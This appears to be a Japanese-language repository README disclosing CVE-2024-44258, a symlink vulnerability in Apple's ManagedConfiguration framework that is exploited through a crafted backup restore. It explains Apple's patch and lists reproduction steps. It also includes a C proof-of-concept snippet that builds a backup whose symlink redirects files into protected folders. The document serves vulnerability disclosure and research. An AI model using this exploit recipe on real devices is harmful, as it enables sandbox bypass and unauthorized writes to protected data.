
CVE-2024-44258
CVE-2024-44258は、AppleデバイスのManagedConfigurationフレームワークおよびprofiledデーモンにおけるシンボリックリンクの脆弱性を明らかにしています。細工されたバックアップを復元する際、移行プロセスが宛先フォルダがシンボリックリンク(symlink)であるかどうかを検証しないため、制限された領域への不正なファイル移行が発生します。
CVE-2024-44258 がこの問題に割り当てられています。CVEは公開されたセキュリティ脆弱性の一意の識別子です。
詳細については、Appleの公式サポートページを参照してください:
この脆弱性により、攻撃者はバックアップ復元時にシンボリックリンクを利用してフォルダ制限をバイパスし、サンドボックス化された領域や保護された領域にファイルを書き込むことができます。この欠陥は、不正なデータアクセス、権限昇格、または変更された設定に依存する他のサービスの悪用を可能にする可能性があります。
細工されたバックアップを作成
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/
をサンドボックス化されたフォルダへ向けて、ドメインを使用:
SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles
必要なファイルを追加
/private/var/mobile/Library/ConfigurationProfiles
HomeDomainを使用。細工されたバックアップを復元
デバイスを再起動
期待される結果:
/private/var/mobile/Library/ConfigurationProfiles は次の場所に移行される:
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/
実際の結果: 細工されたシンボリックリンクにより、ファイルは機密データや保護されたデータを含む可能性のある制限されたフォルダに移行されます。
この脆弱性は数ヶ月にわたって実際に悪用されており、活発に悪用されていることを示しています。
iOS 18.1 beta5 で、AppleはManagedConfigurationフレームワーク内のシンボリックリンク脆弱性に対処するパッチを導入しました。関数 _MCDestinationPathIsSafeFromSymlinkAttacks が追加され、宛先パスの安全性チェックを行い、制限された領域への不正なファイル移行を防止します。このチェックは、関数 MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error: に特に追加されました。
-[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]脆弱性の修正は、ManagedConfigurationフレームワーク内でファイル移行を担当する関数 -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:] を変更することで実装されました。パッチの仕組みは次のとおりです:
シンボリックリンクチェックの追加
AppleはMCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:の冒頭に_MCDestinationPathIsSafeFromSymlinkAttacksの呼び出しを追加しました。この関数は、宛先パスにシンボリックリンクがないかどうかを確認し、移行操作を実行する前に保護層を追加します。
条件チェック
_MCDestinationPathIsSafeFromSymlinkAttacksが宛先パスにシンボリックリンクを検出した場合、移行の進行を防ぎます。この関数はOS_LOG_TYPE_FAULTを使用してフォールトメッセージを記録し、早期に終了してファイル操作を停止します。
DiaphoraをIDAで使用し、iOS 18.1 beta4とiOS 18.1 beta5の差分比較を行うと、-[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]関数の変更が明らかになります。以下の画像は、追加されたシンボリックリンクチェックを含む修正コードを示しています。

以下は、脆弱性を悪用するバックアップを作成する方法を示すサンプルコードスニペットです。このコードは、実際の細工されたバックアップファイルを提供せずに、バックアップにシンボリックリンクとファイルを追加するプロセスを概説しています。
unsigned char* plist_data = NULL;
file_read("/path/to/your/test-outofsandbox.plist", &plist_data, &plist_size); // THIS NEED TO BE CHANGED TO THE FILE PATH
backup_add_directory(backup, "HomeDomain", "Library/ConfigurationProfiles", 0755, 501, 501);
backup_add_file_with_data(backup, "HomeDomain", "Library/ConfigurationProfiles/test.plist", 0755, 501, 501, 4, plist_data, plist_size); // WE ADD OUR FILES
backup_add_directory(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", NULL, 0755, 501, 501);
backup_add_symlink(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", "Library", "/private/var/mobile/Library", 501, 501); // CHANGE THE PATH TO THE SANDBOXED FOLDER YOU WANT TO WRITE IN YOUR FILES
backup_write_mbdb(backup); // SAVE THE BACKUP
backup_free(backup);
迅速な対応と協力をいただいたAppleのセキュリティチームに感謝します。
脆弱性はHichem MaloufiおよびChristian Minaによって発見されました。
このリポジトリはMITライセンスの下で提供されています。詳細についてはLICENSEを参照してください。